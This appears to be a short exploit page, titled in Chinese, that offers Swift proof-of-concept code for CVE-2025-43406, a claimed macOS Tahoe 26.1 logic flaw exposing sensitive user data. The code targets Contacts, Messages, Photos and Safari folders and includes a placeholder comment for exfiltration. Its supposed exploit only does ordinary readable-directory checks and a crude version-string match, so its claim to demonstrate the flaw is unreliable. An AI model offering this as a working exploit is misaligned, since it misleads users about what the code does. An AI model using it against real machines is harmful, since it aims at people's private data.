CVE-2025-43406: macOS Tahoe 26.1 逻辑漏洞允许应用访问敏感用户数据

# CVE-2025-43406 PoC - macOS Tahoe 26.1 Sensitive Data Access # This PoC demonstrates the logic flaw that allows low-privilege apps to access sensitive user data import Foundation import Security class CVE202543406 { // Target sensitive data paths that should require special permissions let sensitivePaths = [ "/Users/$USER/Library/Contacts/", "/Users/$USER/Library/Messages/", "/Users/$USER/Library/Photos/", "/Users/$USER/Library/Safari/" ] // Vulnerable function - exploits logic flaw in permission check func exploitLogicFlaw() -> Bool { print("[CVE-2025-43406] Attempting to exploit logic flaw...") for path in sensitivePaths { // Logic flaw: System fails to properly validate permissions // allowing access without proper authorization check let expandedPath = path.replacingOccurrences(of: "$USER", with: NSUserName()) let fileManager = FileManager.default if fileManager.isReadableFile(atPath: expandedPath) { do { let contents = try fileManager.contentsOfDirectory(atPath: expandedPath) print("[!] Successfully accessed sensitive data at: \(expandedPath)") print("[!] Found \(contents.count) items") // Sensitive data could be exfiltrated here return true } catch { print("[-] Access denied: \(error.localizedDescription)") } } } return false } // Check if system is vulnerable func checkVulnerability() -> Bool { let version = ProcessInfo.processInfo.operatingSystemVersionString print("[*] Detected macOS version: \(version)") // Check if running vulnerable version (macOS Tahoe 26.1) if version.contains("26.1") || version.contains("Tahoe") { print("[!] System appears to be running macOS Tahoe 26.1") print("[!] This version is affected by CVE-2025-43406") return true } return false } } // Usage let poc = CVE202543406() if poc.checkVulnerability() { _ = poc.exploitLogicFlaw() } /* Note: This PoC is for educational and security research purposes only. Actual exploitation requires proper environment setup and testing. The logic flaw allows apps to bypass security restrictions when accessing sensitive user data directories in macOS Tahoe 26.1. */